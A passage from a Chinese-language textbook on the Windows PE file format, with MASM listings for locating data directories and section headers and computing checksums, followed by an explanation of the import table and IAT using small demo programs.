;取出指定索引数据目录项的位置,是RVA 34 mov eax,dword ptr [esi] [ebx] 35 mov @ret1,eax 36 37 .if _dwFlag1 == 0 ;_lpHeader是PE映像头 38 .if _dwFlag2 == 0 ;RVA+模块基地址 39 add eax,_lpHeader 40 mov @ret,eax 41 .elseif _dwFlag2 == 1 ;无意义，返回FOA 42 invoke _RVAToOffset,_lpHeader,eax 43 mov @ret,eax 44 .elseif _dwFlag2 == 2 ;RVA 45 mov @ret,eax 46 .elseif _dwFlag2 == 3 ;FOA 47 invoke _RVAToOffset,_lpHeader,eax 48 mov @ret,eax 49 .endif 50 .else ;_lpHeader是内存映射文件头 51 .if _dwFlag2 == 0 ;RVA+模块基地址 52 add eax,@imageBase 53 mov @ret,eax 54 .elseif _dwFlag2 == 1 ;FOA+文件基地址 55 ;先将RVA转换为文件偏移 56 invoke _RVAToOffset,_lpHeader,eax 57 mov @ret2,eax 58 add eax,_lpHeader 59 mov @ret,eax 60 .elseif _dwFlag2 == 2 ;RVA 61 mov @ret,eax 62 .elseif _dwFlag2 == 3 ;FOA 63 ;先将RVA转换为文件偏移 64 invoke _RVAToOffset,_lpHeader,eax 65 mov @ret,eax 66 .endif 67 .endif 68 popad 69 mov eax,@ret 70 ret 71 _rDDEntry endp 第19行将_内存映射文件头的地址lpHeader传给了寄存器esi；"},
    {"text": "第28～32行计算出指定索引的数据目录表项基于数据目录表起始地址的偏移； 第37～67行根据传入的参数计算不同条件下指定的数据目录表项的各种地址返回值。"},
    {"text": "在主程序中要调用该函数，可以使用以下代码： ;PEHeader.exe导入表数据所在VA invoke _rDDEntry,00400000h,01h,0,0 invoke wsprintf,addr szBuffer,addr szOut,eax invoke MessageBox,NULL,offset szBuffer,NULL,MB_OK ;显示00402014h ;PEHeader.exe导入表数据在文件中的偏移地址FOA invoke _rDDEntry,00400000h,01h,0,3 invoke wsprintf,addr szBuffer,addr szOut,eax invoke MessageBox,NULL,offset szBuffer,NULL,MB_OK ;显示00000614h 3.节表项定位 节表项定位一般用在对某个节的数据获取上，其实现如代码清单3-4所示。 代码清单3-4 定位节表项的函数_rSection（chapter3\\PEHeader.asm） 1 ;------------------- 2 ;定位到指定索引的节表项 3 ;_lpHeader头部基地址 4 ;_index表示第几个节表项，从0开始 5 ;_dwFlag1 6 ;为0表示_lpHeader是PE映像头 7 ;为1表示_lpHeader是内存映射文件头 8 ;_dwFlag2 9 ;为0表示返回RVA+模块基地址 10 ;为1表示返回FOA+文件基地址 11 ;为2表示返回RVA 12 ;为3表示返回FOA 13 ;返回eax=指定索引的节表项所在地址 14 ;------------------- 15 _rSection proc _lpHeader,_index,_dwFlag1,_dwFlag2 16 local @ret,@ret1,@ret2 17 local @imageBase 18 pushad 19 mov esi,_lpHeader 20 assume esi:ptr IMAGE_DOS_HEADER 21 add esi,[esi].e_lfanew ;PE标识 22 assume esi:ptr IMAGE_NT_HEADERS 23 mov eax,[esi].OptionalHeader.ImageBase ;程序的建议装载地址 24 mov @imageBase,eax 25 26 mov eax,[esi].OptionalHeader.NumberOfRvaAndSizes 27 mov bx,8 28 mul bx 29 30 add esi,0078h ;指向DataDirectory 31 add esi,eax ;加上DataDirectory的大小,指向节表开始 32 33 xor eax,eax ;索引*40 34 mov eax,_index 35 mov bx,40 36 mul bx 37 38 add esi,eax ;索引项所在地址 39 40 .if _dwFlag1 == 0 ;_lpHeader是PE映像头 41 .if _dwFlag2 == 0 ;RVA+模块基地址 42 mov eax,esi 43 mov @ret,eax 44 .else 45 sub esi,_lpHeader 46 mov eax,esi 47 mov @ret,eax 48 .endif 49 .else ;_lpHeader是内存映射文件头 50 .if _dwFlag2 == 0 ;RVA+模块基地址 51 sub esi,_lpHeader 52 add esi,@imageBase 53 mov @ret,eax 54 .elseif _dwFlag2 == 1 ;FOA+文件基地址 55 mov eax,esi 56 mov @ret,eax 57 .elseif _dwFlag2 == 2 58 sub esi,_lpHeader 59 mov eax,esi 60 mov @ret,eax 61 .endif 62 .endif 63 popad 64 mov eax,@ret 65 ret 66 _rSection endp 第26～28行根据字段IMAGE_OPTIONAL_HEADER32.NumberOfRvaAndSizes的值得出数据目录表的长度，存储在寄存器eax中。"},
    {"text": "第33～37行计算指定索引的节表项距离节表起始地址的偏移。 第40～62行根据传入的参数计算不同条件下的指定索引的节表项的各种地址返回值。"},
    {"text": "在主程序中的调用代码如下： ;PEHeader.exe第2个节表项在内存的VA地址 invoke _rSection,00400000h,01h,0,0 invoke wsprintf,addr szBuffer,addr szOut,eax invoke MessageBox,NULL,offset szBuffer,NULL,MB_OK ;显示004001d0 ;PEHeader.exe第2个节表项在文件的偏移 invoke _rSection,00400000h,01h,0,3 invoke wsprintf,addr szBuffer,addr szOut,eax invoke MessageBox,NULL,offset szBuffer,NULL,MB_OK ;显示000001d0 通过遍历节表，将给定的RVA与节表中的每个节的地址范围进行比对，如果RVA落在该节表地址范围内，则返回该节的名称字符串地址，具体如代码清单3-5所示。 代码清单3-5 获取RVA所在节的名称的函数_getRVASectionName（chapter2\\PEHeader.asm） 1 ;------------------------ 2 ;获取RVA所在节的名称 3 ;------------------------ 4 _getRVASectionName proc _lpFileHead,_dwRVA 5 local @dwReturn 6 7 pushad 8 mov esi,_lpFileHead 9 assume esi:ptr IMAGE_DOS_HEADER 10 add esi,[esi].e_lfanew 11 assume esi:ptr IMAGE_NT_HEADERS 12 mov edi,_dwRVA 13 mov edx,esi 14 add edx,sizeof IMAGE_NT_HEADERS 15 assume edx:ptr IMAGE_SECTION_HEADER 16 movzx ecx,[esi].FileHeader.NumberOfSections 17 ;遍历节表 18 .repeat 19 mov eax,[edx].VirtualAddress 20 add eax,[edx].SizeOfRawData ;计算该节结束RVA 21 .if(edi＞=[edx].VirtualAddress)＆＆(edi＜eax) 22 mov eax,edx 23 jmp @F 24 .endif 25 add edx,sizeof IMAGE_SECTION_HEADER 26 .untilcxz 27 assume edx:nothing 28 assume esi:nothing 29 mov eax,offset szNotFound 30 @@: 31 mov @dwReturn,eax 32 popad 33 mov eax,@dwReturn 34 ret 35 _getRVASectionName endp"},
    {"text": "3.7.3 标志位操作 3.7.3 标志位操作 在PE文件头的字段中有很多标志位字段，比如IMAGE_FILE_HEADER.Characteristics、IMAGE_OPTIONAL_HEADER32.DllCharacteristics、IMAGE_SECTION_HEADER.Characteristics等。在实际编程中需要对这些标志位进行操作，下面以IMAGE_SECTION_HEADER.Characteristics为例，讲解在编写汇编代码时如何读取和设置这些标志位。 标志位的操作不是以字节、字或双字为单位进行存取，而是以位来操作，所以需要用到汇编语言中的位操作符，如and、or、not等。 1.标志位 一个字节（如0fh）的标志位如下： 一个字的标志位如表3-8所示。 标志位还可以进行组合。比如，如果要标识一个节的数据的属性为：包含代码、可读、可写、可执行，且包含初始化数据，那么根据节的属性字段的描述，第5、6、29、30、31位均应该设置为1。组合以后的双字为： 该双字对应的十六进制为：0E0000060h。 2.读标志位 假设双字在eax中，如果要判断第10位是否为1，可以这样来操作：首先通过表3-8可查到所在位对应的十六进制值为0400h，然后使用如下代码： and eax,00000400h ;将双字值与0400h相与 jne loc1 ;如果结果不为0，则表示eax的第10位为1，跳转到loc1处执行 and（与）操作针对每一位，如果两个操作数中的某位有一个为0，则最后结果为0。 当然，我们可以同时测试多个位。如果要测试节的数据属性是否为可读、可写，则可以使用如下的代码（假设属性值已经在eax中）： and eax,0C0000000h ;测试高两位（即第30位和31位）是否为1 jne loc1 ;如果满足条件，则跳转到loc1处执行 3.写标志位 有时候需要对某个节的数据添加可写属性，可以使用如下代码（假设该节的原始属性已经存储在eax中）： or eax,80000000h or（或）操作针对每一位，如果两个操作数中的某位有一个为1，则最后结果为1。 3.7.4 PE校验和 3.7.4 PE校验和 校验和是一个WORD值。它是通过对一段数据进行一定的算法进行计算以后生成的值，通常作为判断这段数据是否被非法修改的依据。 PE文件头部的校验和的算法很简单，共分三步： 步骤1 将文件头部的字段IMAGE_OPTIONAL_HEADER32.CheckSum清0。 步骤2 以WORD为单位对数据块进行带进位的累加，大于WORD部分自动溢出。 步骤3 将累加和加上文件的长度。 PE文件头部的校验和的详细实现如代码清单3-6所示。 代码清单3-6 计算PE校验和的函数_checkSum1（chapter3\\PEHeader.asm） 1 ;------------------- 2 ;通过调用API函数计算校验和 3 ;kernel32.dll的校验和为：0011e97e 4 ;------------------- 5 _checkSum1 proc _lpExeFile 6 local @cSum,@hSum 7 local @ret 8 9 pushad 10 invoke MapFileAndCheckSum,_lpExeFile,\\ 11 addr @hSum,addr @cSum 12 mov eax,@cSum 13 mov @ret,eax 14 15 popad 16 mov eax,@ret 17 ret 18 _checkSum1 endp 19 20 ;------------------- 21 ;自己编写程序计算校验和 22 ;------------------- 23 _checkSum2 proc _lpExeFile 24 local hFile,dwSize,hBase 25 local @size 26 local @ret 27 28 pushad 29 ;打开文件 30 invoke CreateFile,_lpExeFile,GENERIC_READ,\\ 31 FILE_SHARE_READ,NULL,OPEN_EXISTING,\\ 32 FILE_ATTRIBUTE_NORMAL,0 33 mov hFile,eax 34 invoke GetFileSize,hFile,NULL 35 mov dwSize,eax 36 ;为文件分配内存，并读入 37 invoke VirtualAlloc,NULL,dwSize,\\ 38 MEM_COMMIT,PAGE_READWRITE 39 mov hBase,eax 40 invoke ReadFile,hFile,hBase,dwSize,addr @size,NULL 41 ;关闭文件 42 invoke CloseHandle,hFile 43 44 ;第一步，将CheckSum清0 45 mov ebx,hBase 46 assume ebx:ptr IMAGE_DOS_HEADER 47 mov ebx,[ebx].e_lfanew 48 add ebx,hBase 49 assume ebx:ptr IMAGE_NT_HEADERS 50 mov [ebx].OptionalHeader.CheckSum,0 51 assume ebx:ptr nothing 52 53 54 mov ecx,dwSize 55 mov esi,hBase 56 57 ;第二步，按字进位加，溢出忽略 58 push ecx 59 inc ecx 60 shr ecx,1 61 xor ebx,ebx 62 clc 63 loc1: 64 lodsw 65 adc bx,ax 66 loop loc1 67 68 invoke VirtualFree,hBase,dwSize,MEM_DECOMMIT 69 70 ;第三步，加文件长度 71 pop eax 72 add eax,ebx 73 mov @ret,eax 74 @exit: 75 popad 76 mov eax,@ret 77 ret 78 _checkSum2 endp 函数_checkSum1通过调用动态链接库IMAGEHLP.DLL的MapFileAndCheckSum函数来获取校验和，而函数_checkSum2则按照校验和算法规则来自定义校验和的获取。通过运行这两个函数，可以对C:\\windows\\system32\\kernel32.dll文件进行检验，这两个函数算出来的校验和都是0011e97eh，说明该值与kernel32.dll文件头中记录的值是一致的。 以下字节码来自kernel32.dll文件的头部，加粗部分即为字段IMAGE_OPTIONAL_HEADER32.CheckSum的值："},
    {"text": "3.8 小结 3.8 小结 本章首先从理论角度介绍了常见的文件信息的组织方式，然后分别从16位系统、32位系统、程序员三个不同的角度阐述了PE文件的数据组织方式。重点讲解了PE文件头部的数据结构及数据结构中各字段的含义，还对PE内存映像做了简要说明。 实际上，PE文件头部的数据大多数时候都被用在数据定位上，当然，PE文件头里也定义了许多与程序执行时有关的参数。本章是PE基础的核心之一，希望大家能认真通读，直到全部掌握为止，后面还会继续针对数据目录中定义的不同类型的数据组织进行讲解。 第4章 导入表 第4章 导入表 从本章开始，我们将深入地研究PE文件中除文件头部以外的其他数据组织，本章学习导入表。 导入表是PE数据组织中的一个很重要的组成部分，它是为实现代码重用而设置的。通过分析导入表数据，可以获得诸如PE文件的指令中调用了多少外来的函数，以及这些外来函数都存在于哪些动态链接库里等信息。Windows加载器在运行PE时会将导入表中声明的动态链接库一并加载到进程的地址空间，并修正指令代码中调用的函数地址。在数据目录中一共有四种类型的数据与导入表数据有关。这四种数据依次为： 导入表 导入函数地址表 绑定导入表 延迟加载导入表 本章涉及导入函数地址表和绑定导入表，延迟加载导入表将在第8章进行详细描述。 4.1 何谓导入表 为了使读者更快地理解导入表，我们以程序HelloWorld.asm源代码为例进行讲解。该程序的主要功能是在桌面上弹出一个窗口提示，但是在源文件中并没有关于如何画窗口、如何显示指定字符串这样功能的代码，只是简单地调用了Windows API函数。这些调用的函数的详细代码在HelloWorld.asm中并不存在。那么，它到底存储在哪里呢？答案是：这些代码存储在DLL文件，即动态链接库中。在动态链接库里存放的不是函数的源代码，而是编译链接以后生成的字节码。看下面的两个调用语句： invoke MessageBox,NULL,offset szText,NULL,MB_OK invoke ExitProcess,NULL MessageBox是一个从外界（相对于HelloWorld.asm本身而言）引入的函数，ExitProcess也是一个从外界引入的函数。Windows API函数有所了解的人都知道，前者的指令字节码在user32.dll动态链接库中，而后者则是在kernel32.dll中。 当程序调用了动态链接库的相关函数，在进行编译和链接的时候，编译程序和链接程序就会将调用的相关信息写入最终生成的PE文件中，以告诉操作系统这些函数的执行指令字节码从哪里能够获取。这些信息就是导入表所要描述的内容。首先来看导入函数。 4.2 导入函数 4.2 导入函数 程序开发者在基于汇编语言的源程序中，通过invoke指令调用用户自定义的函数，或者从其他动态链接库中导入的函数。如果没有导入函数的调用机制，程序开发者必须面对自行开发大量基础源码的尴尬，这将直接导致开发工作无法进行下去。 4.2.1 invoke指令分解 在汇编语言中，程序一旦被编译，编译器会对invoke指令进行适当分解。分解后的指令中将会包含指向导入函数的地址的操作数。当PE文件被装载到内存中时，该操作数就会变成导入函数所在虚拟地址空间真实的VA。 使用OD打开HelloWorld.exe程序，查看汇编后的字节码以及相关调用如图4-1所示。 图 4-1 汇编语言引入函数的调用 如上图所示，将源代码中对两个导入函数MessageBoxA和ExitProcess的调用语句翻译成字节码分别为： 第一个调用语句被编译器解释为从地址0x00401000到0x0040100B的反汇编代码。根据地址0x0040100B处的调用关系来看，该语句还包含0x00401018处的跳转指令。第二个调用语句被编译器解释为从地址0x00401010到0x00401012的反汇编代码。根据地址0x00401012处的调用关系来看，该语句还包含0x0040101E处的跳转指令。 回顾第1章，HelloWorld.exe文件偏移0x400处是代码段，其中存放程序指令。以上显示的是PE被装载后在内存中的代码段，装载前文件中的代码段字节码如下所示： 可以看出，装载前文件中和装载后内存中的指令的字节码是完全一样的，这意味着，该程序在被装载以后加载的基址和IMAGE_OPTIONAL_HEADER32.ImageBase是相等的，不存在重定位问题（如果两者不相等，则指令中涉及全局操作数的部分就会有不同）。同时，从指令的反汇编代码中可以看出，在对源代码HelloWorld.asm进行编译时，编译器对invoke指令实施了分解。以第一个调用语句为例，对invoke指令的分解操作包含以下三步： 步骤1 压栈。即先将要调用的所有参数push到栈中。压栈时按照先推后参数，再推前参数的规则，即第一个推入栈的应该是调用的最后一个参数MB_OK，最后一个推入栈的参数应该是调用中的第一个参数NULL，尽管两者的值看起来都是0。 步骤2 段内调用。即通过指令call调用一个段内地址，即call 00401018。 步骤3 无条件转移。call指令操作数0x00401018处的值是：FF25 08204000，将该字节码反汇编，得到一个无条件跳转指令，跳转到了位置00402008处。 注意 从位置00402008处获取的值是导入函数MessageBoxA在内存中的VA。"},
    {"text": "4.2.2 导入函数地址 4.2.2 导入函数地址 导入函数是从动态链接库引入的函数，所以，导入函数的地址位于被加载的进程地址空间中的相应的动态链接库模块内。系统在执行用户程序对导入函数的调用语句时，会跳转到该地址处执行导入函数代码。 使用OD打开HelloWorld.exe，选择地址0x0040101E所在行，在其上单击鼠标右键，选择“数据窗口中跟随”|“内存地址”。OD的③区就会显示内存从00402000开始的数据，如下所示： 如上所示，加粗部分即为导入表数据（大小为3Ch字节）。到目前为止，感觉两个jmp指令中的操作数0x00402008和0x00402000都不在该导入表（黑体部分）的范围内，API函数调用好像与导入表无关。其实不是这样的，jmp指令中的操作数虽然不在导入表范围内，但导入表的数据结构描述中有一个字段是指向这个操作数所在位置的。从跳转指令的操作数所指向的位置0x00402008获取的值为77D507Eah（图中方框里的值）。该值是MessageBoxA这个导入函数在进程HelloWorld.exe中的VA。 现在来对比一下磁盘文件和内存映像的导入函数的地址数据，看看是否存在差别。 以下是从文件中获取的导入表相关数据： 以下是从内存中获取的导入表相关数据： 可以看到：在同样功能的位置（文件0x0608处，内存0x00402008处），内存映像中的值为77D507EAh，而文件中此处的值为0000205Ch。这意味着，文件被装载到内存后，这里的值发生了变化，真正标识MessageBoxA函数地址的应该是内存中此处的值。那么这两个值之间有什么联系呢？ 先来看文件中该位置的值，它是一个RVA。按照第3章中RVA地址与FOA的转换关系可以计算出该值在文件中的位置。具体计算过程如下： 首先，通过小工具PEInfo获取HelloWord.exe中与节有关的信息，如下所示： 其次，通过三步计算法计算出RVA对应的FOA。 步骤1 0000205Ch是落在节.rdata中，因为节.rdata的真实数据的范围是00002000h～00002092h，而提供的值恰好在这个范围内。 步骤2 计算偏移offset1=0000205ch-00002000h=005ch。 步骤3 计算在文件中的偏移RVA’=0600h+005ch=065ch。 查看文件偏移0x065c处的值，发现是019Dh+字符串'MessageBoxA'，前者是一个编号（hint），后者是调用的函数名（name）。重新调整一下思路，在将PE文件装载进内存时，Windows加载器会根据以下指令中的地址查找到0x00401018处。 Call 00401018 此处的指令是一个跳转指令，如下： JMP DWORD PTR DS:[00402008] 加载器继续查找对应位置0x00402008得到值0000205ch，然后从文件的0x0000205c处获取函数的名字MessageBoxA和函数在动态链接库里的编号。加载器会根据函数的Hint/Name从内存地址空间中查找到函数的VA为77d507eah，并将找到的函数地址重新覆盖内存的0x00402008这个位置。 当程序真正被装载进内存以后，0x00402008这个位置就已经被替换成为函数的正确的虚拟内存地址了。"},
    {"text": "4.2.3 导入函数宿主 4.2.3 导入函数宿主 指令要运行，就必须将指令字节码调入到内存中。既然程序中调用了动态链接库的有关函数，那么程序进程地址空间中也一定会有这些函数的指令代码。也就是说，操作系统会在加载时根据导入表的描述将调用的函数指令字节码复制到进程地址空间中。 事实上，操作系统总是会将该函数所处的动态链接库全部复制到进程地址空间，这些动态链接库便是导入函数的指令宿主。如果一个动态链接库在一个进程中被加载过，且在其他进程中也引用了该链接库的函数，操作系统不会再次加载这个动态链接库，而是通过页面调度机制使两个进程同时访问一个动态链接库。也就是说，为了节约内存资源，操作系统只保证有一份代码存在于物理内存中，大家看到的在每个进程中加载的不同地址的相同动态链接库，其实只是在页面存取机制下的一个映射而已。 在内存映像中，从跳转指令的操作数0x00402008处取出的值为0077d507EAh。该值看起来离HelloWorld的线程空间很远，通过OD查看0x0077d507EA这个地址处的数据，根据OD显示的种种蛛丝马迹，基本可以断定0x0077d507ea这个虚拟内存空间的地址附近装载的正是user32.dll链接库的MessageBoxA函数的源字节码。如下所示： 上面的代码比较复杂，从反汇编代码里能猜出此处列出的代码应该属于user32.dll模块，但必须找到确凿的证据。图4-2是在菜单“查看”|“内存”界面中截取的画面。 图 4-2 user32.dll被加载进内存后的地址空间分配 从画面中可以看出虚拟地址空间的0x77D10000处为user32的PE文件头；而user32的代码段范围是0x77D11000～0x77D71000，所以说跳转指令的地址0x0077d507EA恰好落在user32.dll的代码段范围内。 还可以从静态文件分析中证实这个结果，首先使用PEInfo查看文件user32.dll的信息，该链接库位于C:\\windows\\system32文件夹中，显示结果如下。 从结果中可以看出，user32.dll的默认加载地址为0x77d10000，代码段.text在文件中的偏移为0x400。 有了代码段在文件中的起始偏移，我们就可以使用PEDump来查看文件user32.dll的代码段的字节码，截取部分字节码如下所示： 使用OD打开HelloWorld.exe，在命令文本框中输入\"d 77d11000\"后回车，显示如图4-3所示。 “HEX数据”列显示了从该地址开始的指令字节码。从文件和内存（见图4-3）中的进程显示的字节码来看，两者是一致的。 图 4-3 OD中user32代码段指令 注意 由于每个程序的虚拟地址空间是独立的，所以一般情况下，user32.dll的装载基地址是固定的，这个地址由字段IMAGE_OPTIONAL_HEADER32.ImageBase来决定。从PEInfo运行的结果来看，HelloWorld.exe被加载到内存以后，一起加载进内存的user32.dll所在进程地址空间的基地址并没有发生变化，还是IMAGE_OPTIONAL_HEADER32.ImageBase字段指定的0x77D11000这个值。 现在做一个简单的总结：编译程序在编译汇编语言源文件时，会把程序中的invoke语句分解成三部分： 将参数压栈部分 call指令部分 jmp指令部分 call的操作数是jmp指令所在的地址；而jmp指令的操作数则是该导入函数在导入表的地址。在程序中所有的导入函数地址被排列在一起，组成IAT，通过这样的分解操作配合导入表实现对外部函数的调用。以上总结可以用图4-4来描述。 图 4-4 导入函数调用机制 4.3 PE中的导入表 4.3 PE中的导入表 本节将重点研究PE文件结构中的导入表。 4.3.1 导入表定位 导入表是数据目录中注册的数据类型之一，其描述信息位于数据目录的第2个目录项中。IAT也是数据目录中注册的数据类型之一，其描述信息位于数据目录的第13个目录项中。使用PEDump小工具获取chapter4\\HelloWorld.exe的数据目录内容如下： 加黑部分为数据目录表中的导入表项，加框部分为导入函数地址表项。通过以上字节码得到如下信息： 导入表数据所在地址RVA=0x0000002010 导入表数据大小=0000003Ch 导入函数地址表数据所在地址RVA=0x0000002000 导入函数地址表数据大小=00000010h 以下是使用小工具PEInfo获取的chapter4\\HelloWorld.exe所有节的相关信息： 根据RVA与FOA的换算关系，可以得到： IAT数据所在文件的偏移地址=0x00000600 导入表数据所在文件的偏移地址=0x00000610 定位到HelloWorld.exe文件0x00000600位置处得到IAT和导入表数据如下： 其中下划线部分为导入表数据，共60个字节。方框部分为IAT数据，共16个字节。 到目前为止，你只需要明确的是IAT实际是导入表数据组织中的一个重要的组成部分。下面首先从导入表数据入手，分析导入表的数据组织。"},
    {"text": "4.3.2 导入表描述符IMAGE_IMPORT_DESCRIPTOR 4.3.2 导入表描述符IMAGE_IMPORT_DESCRIPTOR 导入表数据的起始是一组导入表描述符结构。每组为20个字节，实例中60个字节的导入表数据被分成三个组。前两组均代表两个动态链接库，最后一组为全0结构，表示导入表描述已经结束。可以通过导入表起始地址和这个空结构计算出导入表中引用的动态链接库的个数。 其实，Windows在查找导入表的时候并不一定要求最后一组的20个字节都为0，只要其中的字段Name1是0就已经满足结束条件了。导入表的每一组都是一个结构，称为导入表描述符IMAGE_IMPORT_DESCRIPTOR，该结构的具体定义如下： 以下是对每个字段的具体解释。 54.IMAGE_IMPORT_DESCRIPTOR.OriginalFirstThunk +0000h，双字。因为它是指向另外数据结构的通路，因此简称为桥1。该字段指向一个包含了一系列结构的数组。 指向的数组中的每个结构定义了一个导入函数的信息，最后以一个内容为全0的结构作为结束。指向的数组中每一项为一个结构，此结构名称是IMAGE_THUNK_DATA。该结构实际上只是一个双字，但在不同的时刻却拥有不同的解释。该字段有两种解释： 双字最高位为0，表示导入符号是一个数值，该数值是一个RVA。 双字最高位为1，表示导入符号是一个名称。 55.IMAGE_IMPORT_DESCRIPTOR.TimeDateStamp +0004h，双字。时间戳，一般不用，多为0。如果该导入表项被绑定，那么绑定后的这个时间戳就被设置为对应DLL文件的时间戳。操作系统在加载时，可以通过这个时间戳来判断绑定的信息是否过时。 56.IMAGE_IMPORT_DESCRIPTOR.ForwarderChain +0008h，双字。链表的前一个结构。 57.IMAGE_IMPORT_DESCRIPTOR.Name1 +000ch，双字。这个字段的含义和名称并不一致，这里的Name1是一个RVA，它指向该结构所对应的DLL文件的名称，而这个名称是以“\\0”结尾的Ansi字符串。 58.IMAGE_IMPORT_DESCRIPTOR.FirstThunk +0010h，双字。与OriginalFirstThunk相同，它指向的链表定义了针对Name1这个动态链接库引入的所有导入函数，简称桥2。 4.3.3 导入表的双桥结构 4.3.3 导入表的双桥结构 桥1和桥2最终通向了一个目的地，都指向了引入函数的“编号-名称”（Hint/Name）描述部分。而从桥2到目的地的过程中，还经过了另外一个很重要的结构IAT。 图4-5为引入了ExitProcess等3个函数的kernel32.dll的导入表描述符结构示意图。 图 4-5 kernel32.dll的导入描述结构 以下是对HelloWorld.exe中的导入表数据的详细解释： ＞＞54 20 00 00 桥1，最高位为0，这是一个RVA，表明函数是以字符串类型的函数名导入的。先将RVA转换为FOA，值为0x00000654，从文件的该位置开始取双字，直到取出的双字为“0”结束。每一个双字都是结构IMAGE_THUNK_DATA。该结构的详细定义如下： IMAGE_THUNK_DATA STRUCT union u1 ForwarderString dd ? Function dd ? Ordinal dd ? AddressOfData dd ? ends IMAGE_THUNK_DATA ENDS 连续取出的数分别为： 因为这个动态链接库只调用了一个函数，所以，数组里只有两个元素。如果调用的函数多了，数组中的元素也会增加。这组数中每一个都是一个RVA，不过这个RVA却指向了另外一个结构IMAGE_IMPORT_BY_NAME。这个结构大小不确定，是桥1的最终目的地。结构的第一个为字，紧跟着的是函数的名字。 从文件偏移0x0000065C开始的数据是（碰到“0”即结束）： 9D 01 4D 65 73 73 61 67 65 42 6F 78 41 00 这些值组成的数据结构就是IMAGE_IMPORT_BY_NAME，详细描述如下： IMAGE_IMPORT_BY_NAME STRUCT Hint dw ? ;0000h-函数编号 Name1 db ? ;0004h-表示函数名的字符串 IMAGE_IMPORT_BY_NAME ENDS 以下是对每个字段的具体解释。 59.IMAGE_IMPORT_BY_NAME.Hint +0000h，双字。函数的编号，在DLL中对每个函数都进行了编号，访问函数时可以通过名称访问，也可以通过编号访问。 60.IMAGE_IMPORT_BY_NAME.Name1 +0004h，大小不确定。函数名字字符串的具体内容，以“\\0”作为字符串结束标志。 其中019dh标识该函数在user32.dll中的编号，后面紧跟着函数名\"MessageBoxA\"。 ＞＞00 00 00 00 时间戳，这里为0。 ＞＞00 00 00 00 链表的前一个结构，这里为0。 ＞＞6A 20 00 00 RVA，指向动态链接库user32.dll的名字字符串。 ＞＞08 20 00 00 桥2。 你会发现，在文件中尽管通过桥2和桥1指向的数据值相同，但其存储的位置却是不同的。桥1指向的INT与桥2指向的IAT内容完全一样，但INT和IAT却存储在文件的不同位置。 每一个结构IMAGE_IMPORT_DESCRIPTOR都对应一个唯一的动态链接库文件，以及引用了该动态链接库的多个函数，每个函数的最终“值-名称”描述均可以沿着桥1或者桥2找到，这种导入表结构被称为双桥结构。 双桥结构的导入表在文件中存在两份内容完全相同的地址列表。一般情况下，桥2指向的地址列表被定义为IAT，而桥1指向的地址列表则被定义为INT（Import Name Table）。有的链接程序只为导入表存储一个桥，如Borland公司的Tlink只保留桥2，这样的导入表我们称之为单桥结构的导入表。 注意 单桥结构的导入表是无法执行绑定导入操作的。 使用同样的方法大家可以自行分析第二个IMAGE_IMPORT_DESCRIPTOR项。该项目描述的是与动态链接库kernel32.dll有关的导入信息。"},
    {"text": "4.3.4 导入函数地址表 4.3.4 导入函数地址表 PE文件中所有导入函数jmp指令操作数的集合，组成了另外一个数据结构，这个结构就是导入函数地址表（Import Address Table，IAT）。该地址表是数据目录的第13个数据目录项。 导入函数地址表是一个双字的数组，每个双字代表的是一个导入函数的VA，该地址称为导入函数地址（Import Address，IA）。用户程序通过无条件跳转指令跳转到VA指定处，便可以运行引入函数的指令。由于IAT中定义了不止一个链接库的函数，为了区分这些从不同链接库引入的函数，规定所有引入函数按照链接库分类；相同链接库的函数地址排列在一起，最后以一个双字的0结束。IAT结构可以用图4-6表示。 图 4-6 IAT结构 前面讲过，导入表和IAT是有紧密联系的，通过桥2即可定位到IAT。在内存中，桥1可以让你找到调用的函数名称或函数的索引编号，桥2却可以帮助你找到该函数指令代码在内存空间的地址。导入表与IAT的关系如图4-7所示。 图 4-7 文件中的导入表与IAT 当PE被加载进虚拟地址空间以后，IAT的内容会被操作系统更改为函数的VA。这个修改最终会导致通向“值-名称”描述的桥2发生断裂，如图4-8所示。 图 4-8 内存中的导入表与IAT的关系 当桥2发生断裂以后，如果没有桥1作为参照（因为桥1和桥2维护了两个一一对应的函数RVA），我们就无法重新找到该地址到底是调用了哪个函数。这就是为什么会在导入表数据结构中存在两个桥的原因，也是为什么单桥导入表结构中无法实施绑定的原因。"},
    {"text": "4.3.5 构造调用同一个DLL文件的多个函数的导入表 4.3.5 构造调用同一个DLL文件的多个函数的导入表 由于HelloWorld.exe过于简单，下面构造一个调用同一个DLL文件的多个函数的导入表——LockTray。通过分析LockTray，进一步明晰复杂导入链表的具体构造。 1.源代码 保存代码清单4-1内容到文件LockTray.asm，或从随书文件的chapter4目录下获取该文件。该源代码实现了锁定任务栏的功能，执行程序后任务栏无法操作，包括“开始”菜单也无法打开。 代码清单4-1 锁定任务栏（chapter4\\LockTray.asm） 1 ;------------------------ 2 ;锁定任务栏 3 ;戚利 4 ;2006.2.28 5 ;------------------------ 6 .386 7 .model flat,stdcall 8 option casemap:none 9 10 include windows.inc 11 include user32.inc 12 includelib user32.lib 13 include kernel32.inc 14 includelib kernel32.lib 15 16 ;数据段 17 .data 18 sz1 db 'Shell _TrayWnd',0 19 hTray dd ? 20 21 ;代码段 22 .code 23 start: 24 invoke FindWindow,addr sz1,0 25 mov hTray,eax 26 invoke ShowWindow,hTray,SW_HIDE 27 invoke EnableWindow,hTray,FALSE 28 29 invoke ExitProcess,NULL 30 end start 代码很简单，首先调用函数FindWindow获取任务栏的句柄（行24）存储到hTray变量中。然后调用ShowWindow（行26）将任务栏窗口隐藏起来，最后通过函数EnableWindow将任务栏设置为禁止操作。编译链接生成最终要分析的PE文件LockTray.exe。 2.LockTray的导入表 使用工具PEInfo分析LockTray.exe文件结构，得出以下内容： 以下是从编译链接后的LockTray.exe中获取到的导入表部分数据。该数据被分配进节.rdata中。 程序中一共使用了user32.dll的三个API函数，依次为：EnableWindow、FindWindow和ShowWindow，那么PE是如何构造这个导入表的呢？下面来看具体分析： ＞＞5C 20 00 00 桥1，最高位为0，表示这是一个RVA，表示函数是以字符串类型的函数名导入的。从文件偏移0x0000065C处取出的值应该是一组IMAGE_THUNK_DATA，一直找到双字0为止。取出的这些IMAGE_THUNK_DATA结构依次是： 前三个RVA分别指向了IMAGE_IMPORT_BY_NAME结构，代表调用的三个函数。 ＞＞00 00 00 00 ＞＞00 00 00 00 ＞＞98 20 00 00 指向user32.dll\\0字符串。 ＞＞08 20 00 00 桥2，分析方法同桥1。 最后，用一个图来表示LockTray.exe的导入表结构，见图4-9。 图 4-9 文件中的LockTray导入表 